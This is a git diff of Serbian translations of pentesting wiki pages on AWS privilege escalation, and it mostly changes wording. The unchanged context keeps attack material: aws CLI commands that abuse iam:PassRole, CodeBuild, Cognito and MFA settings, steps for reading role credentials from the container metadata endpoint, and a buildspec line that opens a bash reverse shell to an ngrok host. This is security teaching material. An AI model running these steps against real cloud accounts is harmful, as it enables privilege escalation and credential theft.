+Napadač sa dozvolama da **prođe ulogu i kreira & izvrši ChangeSet** može **kreirati/ažurirati novi cloudformation stog i zloupotrebiti cloudformation servisne uloge** baš kao sa CreateStack ili UpdateStack.
-Sledeća eksploatacija je **varijacija**[ **CreateStack one**](./#iam-passrole-cloudformation-createstack) koristeći **ChangeSet dozvole** za kreiranje steka.
+Sledeća eksploatacija je **varijacija**[ **CreateStack one**](./#iam-passrole-cloudformation-createstack) koristeći **ChangeSet dozvole** za kreiranje stoga.
```bash
aws cloudformation create-change-set \
--stack-name privesc \
@@ -79,7 +79,7 @@ aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1
```
-Dozvola `cloudformation:SetStackPolicy` može se koristiti za **dodeljivanje sebi `ChangeSet` dozvola** nad stekom i izvršavanje napada.
+Dozvola `cloudformation:SetStackPolicy` može se koristiti za **dodeljivanje sebi `ChangeSet` dozvola** nad stakom i izvršavanje napada.
**Potencijalni uticaj:** Privesc na cloudformation servisne uloge.
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
index a5e6063bc..2afe32dc2 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
@@ -62,13 +62,13 @@ aws cloudformation create-stack --stack-name privesc \
--role arn:aws:iam::[REDACTED]:role/adminaccess \
--capabilities CAPABILITY_IAM --region us-west-2
```
-**Sačekajte nekoliko minuta** da se stek generiše, a zatim **dobijte izlaz** iz steka gde su **akreditivi sačuvani**:
+**Sačekajte nekoliko minuta** da se stek generiše, a zatim **dobijte izlaz** steka gde su **akreditivi sačuvani**:
```bash
aws cloudformation describe-stacks \
--stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \
--region uswest-2
```
-### References
+### Reference
- [https://bishopfox.com/blog/privilege-escalation-in-aws](https://bishopfox.com/blog/privilege-escalation-in-aws)
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
index 49fdd90c8..e14f6f99c 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
@@ -67,7 +67,7 @@ aws codebuild start-build-batch --project --buildspec-override fi
### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
-Napadač sa **`iam:PassRole`, `codebuild:CreateProject`, i `codebuild:StartBuild` ili `codebuild:StartBuildBatch`** dozvolama bi mogao da **escalira privilegije na bilo koju codebuild IAM ulogu** kreiranjem aktivne.
+Napadač sa **`iam:PassRole`, `codebuild:CreateProject`, i `codebuild:StartBuild` ili `codebuild:StartBuildBatch`** dozvolama mogao bi da **escalira privilegije na bilo koju codebuild IAM ulogu** kreiranjem aktivne.
{{#tabs }}
{{#tab name="Example1" }}
@@ -142,11 +142,11 @@ aws codebuild start-build --project-name reverse-shell-project
> [!WARNING]
> U **Codebuild kontejneru** datoteka `/codebuild/output/tmp/env.sh` sadrži sve env varijable potrebne za pristup **metapodacima akreditiva**.
-> Ova datoteka sadrži **env varijablu `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** koja sadrži **URL putanju** za pristup akreditivima. Biće nešto poput `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
+> Ova datoteka sadrži **env varijablu `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** koja sadrži **URL putanju** za pristup akreditivima. Biće nešto poput ovog `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
> Dodajte to URL-u **`http://169.254.170.2/`** i moći ćete da preuzmete akreditive uloge.
-> Pored toga, takođe sadrži **env varijablu `ECS_CONTAINER_METADATA_URI`** koja sadrži kompletnu URL adresu za dobijanje **informacija o metapodacima kontejnera**.
+> Pored toga, takođe sadrži **env varijablu `ECS_CONTAINER_METADATA_URI`** koja sadrži kompletnu URL putanju za dobijanje **metapodataka o kontejneru**.
### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
@@ -184,7 +184,7 @@ aws codebuild update-project --cli-input-json file://$REV_PATH
aws codebuild start-build --project-name codebuild-demo-project
```
-**Potencijalni uticaj:** Direktno privesc na bilo koju AWS Codebuild ulogu.
+**Potencijalni Uticaj:** Direktno privesc na bilo koju AWS Codebuild ulogu.
### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
@@ -275,7 +275,7 @@ Codebuild projekat će morati da ima tačku prekida:
phases:
pre_build:
commands:
-- echo Ušao u pre_build fazu...
+- echo Entered the pre_build phase...
- echo "Hello World" > /tmp/hello-world
- codebuild-breakpoint
@@ -317,13 +317,13 @@ build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
```
-**Uticaj:** Direktno privesc na ulogu koju koristi AWS CodeBuild radnik koja obično ima visoke privilegije.
+**Uticaj:** Direktno povećanje privilegija na ulozi koju koristi AWS CodeBuild radnik, koja obično ima visoke privilegije.
> [!WARNING]
> Imajte na umu da se buildspec može očekivati u zip formatu, tako da bi napadač morao da preuzme, raspakuje, izmeni `buildspec.yml` iz root direktorijuma, ponovo zipuje i otpremi
-Više detalja možete pronaći [ovde](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
+Više detalja može se naći [ovde](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
-**Potencijalni Uticaj:** Direktno privesc na priložene AWS Codebuild uloge.
+**Potencijalni Uticaj:** Direktno povećanje privilegija na povezanim AWS Codebuild ulogama.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
index b00dc6605..2ef51eaef 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
@@ -12,13 +12,13 @@ Za više informacija o codepipeline pogledajte:
### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution`
-Kada kreirate code pipeline, možete naznačiti **codepipeline IAM ulogu koju treba pokrenuti**, stoga ih možete kompromitovati.
+Kada kreirate code pipeline, možete naznačiti **codepipeline IAM ulogu za izvršavanje**, stoga ih možete kompromitovati.
-Pored prethodnih dozvola, biće vam potrebna **pristupna prava na mesto gde je kod smešten** (S3, ECR, github, bitbucket...)
+Pored prethodnih dozvola, potrebna vam je **pristup mestu gde je kod smešten** (S3, ECR, github, bitbucket...)
Testirao sam ovo radeći proces na veb stranici, prethodno navedene dozvole nisu List/Get one potrebne za kreiranje codepipeline, ali za kreiranje na vebu će vam takođe biti potrebne: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:`
-Tokom **kreiranja build projekta** možete naznačiti **komandu za izvršavanje** (rev shell?) i pokrenuti fazu izgradnje kao **privilegovan korisnik**, to je konfiguracija koju napadač treba da kompromituje:
+Tokom **kreiranja build projekta** možete naznačiti **komandu za izvršavanje** (rev shell?) i da se faza izgradnje izvršava kao **privilegovani korisnik**, to je konfiguracija koju napadač treba da kompromituje:
.png>)
@@ -26,7 +26,7 @@ Tokom **kreiranja build projekta** možete naznačiti **komandu za izvršavanje*
### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution`
-Možda će biti moguće izmeniti ulogu koja se koristi i komandu koja se izvršava na codepipeline sa prethodnim dozvolama.
+Možda bi bilo moguće izmeniti ulogu koja se koristi i komandu koja se izvršava na codepipeline sa prethodnim dozvolama.
### `codepipeline:pollforjobs`
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
index a819b56dc..bdfb9e1a5 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
@@ -52,19 +52,19 @@ codestar-createproject-codestar-associateteammember.md
1. **Kreirajte novi projekat:**
- Iskoristite akciju **`codestar:CreateProjectFromTemplate`** da započnete kreiranje novog projekta.
- Nakon uspešnog kreiranja, pristup se automatski dodeljuje za **`cloudformation:UpdateStack`**.
-- Ovaj pristup se posebno odnosi na stog povezan sa `CodeStarWorker--CloudFormation` IAM ulogom.
-2. **Ažurirajte ciljni stog:**
-- Sa dodeljenim CloudFormation dozvolama, nastavite da ažurirate određeni stog.
-- Ime stoga će obično odgovarati jednom od dva obrasca:
+- Ovaj pristup se specifično odnosi na stek povezan sa `CodeStarWorker--CloudFormation` IAM ulogom.
+2. **Ažurirajte ciljni stek:**
+- Sa dodeljenim CloudFormation dozvolama, nastavite da ažurirate navedeni stek.
+- Ime steka će obično odgovarati jednom od dva obrasca:
- `awscodestar--infrastructure`
- `awscodestar--lambda`
-- Tačno ime zavisi od odabranog šablona (referišući se na primer skripte za eksploataciju).
+- Tačno ime zavisi od odabranog šablona (referišući se na primer eksploatacionog skripta).
3. **Pristup i dozvole:**
-- Nakon ažuriranja, dobijate mogućnosti dodeljene **CloudFormation IAM ulozi** povezanoj sa stogom.
+- Nakon ažuriranja, dobijate mogućnosti dodeljene **CloudFormation IAM ulozi** povezanoj sa stekom.
- Napomena: Ovo ne pruža inherentno pune administratorske privilegije. Dodatni pogrešno konfigurisani resursi unutar okruženja mogu biti potrebni za dalju eskalaciju privilegija.
Za više informacija proverite originalno istraživanje: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\
-Eksploataciju možete pronaći na [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py)
+Eksploit možete pronaći na [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py)
**Potencijalni uticaj:** Privesc na cloudformation IAM ulogu.
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
index 5b9a423b0..b21c94ece 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
@@ -4,7 +4,7 @@
Sa ovim dozvolama možete **zloupotrebiti codestar IAM ulogu** da izvršite **arbitrarne radnje** putem **cloudformation šablona**.
-Da biste to iskoristili, potrebno je da kreirate **S3 bucket koji je dostupan** iz napadnutog naloga. Učitajte datoteku pod nazivom `toolchain.json`. Ova datoteka treba da sadrži **cloudformation šablon za eksploataciju**. Sledeći može biti korišćen za postavljanje upravljane politike korisniku pod vašom kontrolom i **dodeljivanje admin dozvola**:
+Da biste to iskoristili, potrebno je da kreirate **S3 bucket koji je dostupan** iz napadnutog naloga. Učitajte datoteku pod nazivom `toolchain.json`. Ova datoteka treba da sadrži **cloudformation šablon za eksploataciju**. Sledeći može da se koristi za postavljanje upravljane politike korisniku pod vašom kontrolom i **dodeljivanje admin dozvola**:
```json:toolchain.json
{
"Resources": {
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
index 1ccbe3597..0bac7194c 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
@@ -12,11 +12,11 @@ Za više informacija o Cognitu pogledajte:
### Prikupljanje kredencijala iz Identity Pool-a
-Pošto Cognito može dodeliti **IAM role credentials** i **autentifikovanim** i **neautentifikovanim** **korisnicima**, ako locirate **Identity Pool ID** aplikacije (trebalo bi da bude hardkodiran u njoj) možete dobiti nove kredencijale i tako izvršiti privesc (unutar AWS naloga gde verovatno niste imali nikakve kredencijale ranije).
+Pošto Cognito može dodeliti **IAM role credentials** i **autentifikovanim** i **neautentifikovanim** **korisnicima**, ako locirate **Identity Pool ID** aplikacije (trebalo bi da bude hardkodiran u njoj) možete dobiti nove kredencijale i tako izvršiti privesc (unutar AWS naloga gde verovatno niste imali nikakve kredencijale prethodno).
Za više informacija [**proverite ovu stranicu**](../aws-unauthenticated-enum-access/#cognito).
-**Potencijalni uticaj:** Direktan privesc na usluge ulogu vezanu za neautentifikovane korisnike (i verovatno na onu vezanu za autentifikovane korisnike).
+**Potencijalni uticaj:** Direktan privesc na servisnu ulogu vezanu za neautentifikovane korisnike (i verovatno na onu vezanu za autentifikovane korisnike).
### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`
@@ -69,22 +69,22 @@ aws cognito-identity update-identity-pool \
--allow-unauthenticated-identities
--allow-classic-flow
```
-**Potencijalni uticaj**: Kompromitovanje konfigurisanog autentifikovanog IAM naloga unutar identitetskog bazena.
+**Potencijalni uticaj**: Kompromitovanje konfigurisane autentifikovane IAM uloge unutar identitetskog bazena.
### `cognito-idp:AdminAddUserToGroup`
-Ova dozvola omogućava **dodavanje Cognito korisnika u Cognito grupu**, stoga bi napadač mogao zloupotrebiti ovu dozvolu da doda korisnika pod njegovom kontrolom u druge grupe sa **boljim** privilegijama ili **različitim IAM nalozima**:
+Ova dozvola omogućava **dodavanje Cognito korisnika u Cognito grupu**, stoga bi napadač mogao zloupotrebiti ovu dozvolu da doda korisnika pod njegovom kontrolom u druge grupe sa **boljim** privilegijama ili **različitim IAM ulogama**:
```bash
aws cognito-idp admin-add-user-to-group \
--user-pool-id \
--username \
--group-name
```
-**Potencijalni Uticaj:** Privesc na druge Cognito grupe i IAM uloge povezane sa User Pool Grupama.
+**Potencijalni uticaj:** Privesc na druge Cognito grupe i IAM uloge povezane sa User Pool grupama.
### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`
-Napadač sa ovim dozvolama mogao bi **da kreira/aktualizuje grupe** sa **svakom IAM ulogom koja može biti korišćena od strane kompromitovanog Cognito Identity Providera** i učiniti kompromitovanog korisnika delom grupe, pristupajući svim tim ulogama:
+Napadač sa ovim dozvolama mogao bi **da kreira/aktualizuje grupe** sa **svakom IAM ulogom koja može biti korišćena od strane kompromitovanog Cognito Identity Provider-a** i učiniti kompromitovanog korisnika delom grupe, pristupajući svim tim ulogama:
```bash
aws cognito-idp create-group --group-name Hacked --user-pool-id --role-arn
```
@@ -98,7 +98,7 @@ aws cognito-idp admin-confirm-sign-up \
--user-pool-id \
--username
```
-**Potencijalni uticaj:** Indirektno privesc na IAM ulogu identiteta za autentifikovane korisnike ako možete registrovati novog korisnika. Indirektno privesc na druge funkcionalnosti aplikacije omogućavajući potvrdu bilo kog naloga.
+**Potencijalni uticaj:** Indirektni privesc na IAM ulogu identiteta za autentifikovane korisnike ako možete registrovati novog korisnika. Indirektni privesc na druge funkcionalnosti aplikacije omogućavajući potvrdu bilo kog naloga.
### `cognito-idp:AdminCreateUser`
@@ -111,7 +111,7 @@ aws cognito-idp admin-create-user \
[--validation-data ]
[--temporary-password ]
```
-**Potencijalni uticaj:** Direktni privesc na IAM ulogu identitetskog bazena za autentifikovane korisnike. Indirektni privesc na druge funkcionalnosti aplikacije omogućavajući kreiranje bilo kog korisnika.
+**Potencijalni uticaj:** Direktno privesc na IAM ulogu identiteta za autentifikovane korisnike. Indirektno privesc na druge funkcionalnosti aplikacije omogućavajući kreiranje bilo kog korisnika.
### `cognito-idp:AdminEnableUser`
@@ -125,7 +125,7 @@ aws cognito-idp admin-enable-user \
### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`**
-Ova dozvola omogućava prijavu putem [**metode ADMIN_USER_PASSWORD_AUTH**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Za više informacija pratite link.
+Ova dozvola omogućava prijavu sa [**metodom ADMIN_USER_PASSWORD_AUTH**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Za više informacija pratite link.
### `cognito-idp:AdminSetUserPassword`
@@ -148,7 +148,7 @@ aws cognito-idp admin-set-user-settings \
--username \
--mfa-options
```
-**SetUserMFAPreference:** Slično prethodnom, ova dozvola se može koristiti za postavljanje MFA preferencija korisnika kako bi se zaobišla MFA zaštita.
+**SetUserMFAPreference:** Slično prethodnoj, ova dozvola se može koristiti za postavljanje MFA preferencija korisnika kako bi se zaobišla MFA zaštita.
```bash
aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings ] \
@@ -164,13 +164,13 @@ aws cognito-idp set-user-pool-mfa-config \
[--software-token-mfa-configuration ] \
[--mfa-configuration ]
```
-**UpdateUserPool:** Takođe je moguće ažurirati korisnički bazen kako bi se promenila MFA politika. [Proverite cli ovde](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
+**UpdateUserPool:** Takođe je moguće ažurirati korisnički bazen kako bi se promenila MFA politika. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
-**Potential Impact:** Indirektno privesc potencijalno bilo kojem korisniku čije napredne podatke napadač poznaje, ovo bi moglo omogućiti zaobilaženje MFA zaštite.
+**Potential Impact:** Indirektno privesc potencijalno bilo kojem korisniku čije napredne podatke napadač poznaje, što bi moglo omogućiti zaobilaženje MFA zaštite.
### `cognito-idp:AdminUpdateUserAttributes`
-Napadač sa ovom dozvolom mogao bi promeniti email ili broj telefona ili bilo koju drugu atributu korisnika pod njegovom kontrolom kako bi pokušao da dobije više privilegija u osnovnoj aplikaciji.\
+Napadač sa ovom dozvolom mogao bi da promeni email ili broj telefona ili bilo koju drugu atribut korisnika pod njegovom kontrolom kako bi pokušao da dobije više privilegija u osnovnoj aplikaciji.\
Ovo omogućava promenu emaila ili broja telefona i postavljanje kao verifikovanog.
```bash
aws cognito-idp admin-update-user-attributes \
@@ -178,15 +178,15 @@ aws cognito-idp admin-update-user-attributes \
--username \
--user-attributes
```
-**Potencijalni uticaj:** Potencijalni indirektni privesc u osnovnoj aplikaciji koja koristi Cognito User Pool koji daje privilegije na osnovu atributa korisnika.
+**Potencijalni uticaj:** Potencijalni indirektni privesc u osnovnoj aplikaciji koja koristi Cognito User Pool koja dodeljuje privilegije na osnovu atributa korisnika.
### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
-Napadač sa ovom dozvolom može **napraviti novog User Pool Client-a koji je manje restriktivan** od već postojećih klijenata. Na primer, novi klijent može dozvoliti bilo koju vrstu metode za autentifikaciju, nemati nikakvu tajnu, imati onemogućenu revokaciju tokena, dozvoliti tokenima da budu validni duži period...
+Napadač sa ovom dozvolom mogao bi **da kreira novog User Pool Client-a koji je manje restriktivan** od već postojećih klijenata. Na primer, novi klijent bi mogao da dozvoli bilo koju vrstu metode za autentifikaciju, da nema nikakvu tajnu, da ima onemogućenu revokaciju tokena, da dozvoli tokenima da budu validni duži period...
Isto se može uraditi ako se umesto kreiranja novog klijenta, **izmenjuje postojeći**.
-U [**komandnoj liniji**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (ili [**ažuriranoj**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) možete videti sve opcije, proverite to!
+U [**komandnoj liniji**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (ili [**za ažuriranje**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) možete videti sve opcije, proverite to!.
```bash
aws cognito-idp create-user-pool-client \
--user-pool-id \
@@ -214,9 +214,9 @@ aws cognito-idp start-user-import-job \
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
```
-(U slučaju kada kreirate novi posao za uvoz, možda će vam biti potrebna dozvola iam passrole, još nisam testirao).
+(U slučaju kada kreirate novi posao za uvoz, možda će vam biti potrebna iam passrole dozvola, još nisam testirao).
-**Potencijalni uticaj:** Direktno privesc na IAM ulogu identitetskog bazena za autentifikovane korisnike. Indirektno privesc na druge funkcionalnosti aplikacije omogućavajući kreiranje bilo kog korisnika.
+**Potencijalni uticaj:** Direktno privesc na IAM ulogu identiteta za autentifikovane korisnike. Indirektno privesc na druge funkcionalnosti aplikacije omogućavajući kreiranje bilo kog korisnika.
### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider`
@@ -239,11 +239,11 @@ Ovo je veoma uobičajena dozvola po defaultu u ulogama Cognito Identity Pools.
Ova dozvola omogućava čitanje informacija o korišćenju Identity Pools i Identity IDs unutar Identity Pools (što nije osetljiva informacija).\
Identity IDs mogu imati [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) dodeljene njima, koje su informacije o sesijama (AWS to definiše kao **sačuvanu igru**). Moguće je da ovo sadrži neku vrstu osetljivih informacija (ali je verovatnoća prilično niska). Možete pronaći na [**stranici za enumeraciju**](../aws-services/aws-cognito-enum/) kako da pristupite ovim informacijama.
-Napadač bi takođe mogao koristiti ove dozvole da **upisuje sebe u Cognito stream koji objavljuje promene** na ovim datasetima ili **lambda koja se aktivira na cognito događaje**. Nisam video da se ovo koristi, i ne bih očekivao osetljive informacije ovde, ali nije nemoguće.
+Napadač bi takođe mogao koristiti ove dozvole da **prijavi sebe na Cognito stream koji objavljuje promene** na ovim datasetima ili **lambda koja se aktivira na cognito događaje**. Nisam video da se ovo koristi, i ne bih očekivao osetljive informacije ovde, ali nije nemoguće.
### Automatski Alati
-- [Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS eksploatacioni okvir, sada uključuje module "cognito\_\_enum" i "cognito\_\_attack" koji automatizuju enumeraciju svih Cognito resursa u nalogu i označavaju slabe konfiguracije, atribute korisnika korišćene za kontrolu pristupa, itd., i takođe automatizuju kreiranje korisnika (uključujući podršku za MFA) i privilegiju eskalacije na osnovu modifikabilnih prilagođenih atributa, upotrebljivih kredencijala identiteta, preuzimljivih uloga u id tokenima, itd.
+- [Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS eksploatacioni okvir, sada uključuje module "cognito\_\_enum" i "cognito\_\_attack" koji automatizuju enumeraciju svih Cognito resursa u nalogu i označavaju slabe konfiguracije, atribute korisnika korišćene za kontrolu pristupa, itd., i takođe automatizuju kreiranje korisnika (uključujući podršku za MFA) i eskalaciju privilegija na osnovu modifikovanih prilagođenih atributa, upotrebljivih kredencijala identiteta, preuzimljivih uloga u id tokenima, itd.
Za opis funkcija modula pogledajte deo 2 [blog posta](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Za uputstva za instalaciju pogledajte glavnu [Pacu](https://github.com/RhinoSecurityLabs/pacu) stranicu.
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
index 98a1fab50..cf0af636d 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
@@ -61,7 +61,7 @@ aws datapipeline put-pipeline-definition --pipeline-id \
**Potencijalni uticaj:** Direktno privesc na ec2 servisnu ulogu koja je navedena.
-## References
+## Reference
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
index 7e2ba10d4..903a82800 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
@@ -4,7 +4,7 @@
## Directory Services
-Za više informacija o uslugama direktorijuma pogledajte:
+Za više informacija o uslugama direktorijuma, proverite:
{{#ref}}
../aws-services/aws-directory-services-workdocs-enum.md
@@ -23,7 +23,7 @@ Moguće je omogućiti **URL za pristup aplikaciji** koji korisnici iz AD mogu ko
-A zatim **dodeliti im AWS IAM ulogu** za kada se prijave, na ovaj način AD korisnik/grupa će imati pristup AWS upravljačkoj konzoli:
+I zatim **dodeliti im AWS IAM ulogu** za vreme kada se prijave, na ovaj način AD korisnik/grupa će imati pristup AWS upravljačkoj konzoli:
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
index c9a37c55f..681d2beb2 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
@@ -12,7 +12,7 @@ Za više informacija o dynamodb proverite:
### Post Exploitation
-Koliko ja znam, **ne postoji direktan način za eskalaciju privilegija u AWS-u samo sa nekim AWS `dynamodb` dozvolama**. Možete **čitati osetljive** informacije iz tabela (koje mogu sadržati AWS akreditive) i **pisati informacije u tabelama** (što može pokrenuti druge ranjivosti, kao što su lambda kod injekcije...) ali sve ove opcije su već razmatrane na **DynamoDB Post Exploitation stranici**:
+Koliko ja znam, **ne postoji direktan način za eskalaciju privilegija u AWS-u samo sa nekim AWS `dynamodb` dozvolama**. Možete **čitati osetljive** informacije iz tabela (koje mogu sadržati AWS akreditive) i **pisati informacije u tabele** (što može pokrenuti druge ranjivosti, kao što su lambda kod injekcije...) ali sve ove opcije su već razmatrane na **DynamoDB Post Exploitation stranici**:
{{#ref}}
../aws-post-exploitation/aws-dynamodb-post-exploitation.md
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
index 76528f750..5a1d8cf1a 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
@@ -14,7 +14,7 @@ Napadač sa ovim dozvolama će moći potencijalno **da preuzme i analizira snimk
Druge dozvole mogu biti takođe korisne kao što su: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags`
-Alat [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) vrši ovaj napad da **izvuče lozinke iz kontrolera domena**.
+Alat [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) izvodi ovaj napad da **izvuče lozinke iz kontrolera domena**.
**Potencijalni uticaj:** Indirektni privesc lociranjem osetljivih informacija u snimku (možete čak dobiti Active Directory lozinke).
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
index 2374ca318..43d3fe5bf 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
@@ -12,11 +12,11 @@ Za više **informacija o EC2** proverite:
### `iam:PassRole`, `ec2:RunInstances`
-Napadač bi mogao **da kreira instancu povezujući IAM ulogu i zatim pristupi instanci** da ukrade kredencijale IAM uloge sa krajnje tačke metapodataka.
+Napadač bi mogao **da kreira instancu povezujući IAM ulogu i zatim pristupi instanci** da bi ukrao kredencijale IAM uloge sa metadata endpoint-a.
- **Pristup preko SSH**
-Pokrenite novu instancu koristeći **kreirani** **ssh ključ** (`--key-name`) i zatim se povežite na nju putem ssh (ako želite da kreirate novi možda će vam biti potrebna dozvola `ec2:CreateKeyPair`).
+Pokrenite novu instancu koristeći **kreirani** **ssh ključ** (`--key-name`) i zatim se povežite na nju putem ssh (ako želite da kreirate novi, možda će vam biti potrebna dozvola `ec2:CreateKeyPair`).
```bash
aws ec2 run-instances --image-id --instance-type t2.micro \
--iam-instance-profile Name= --key-name \
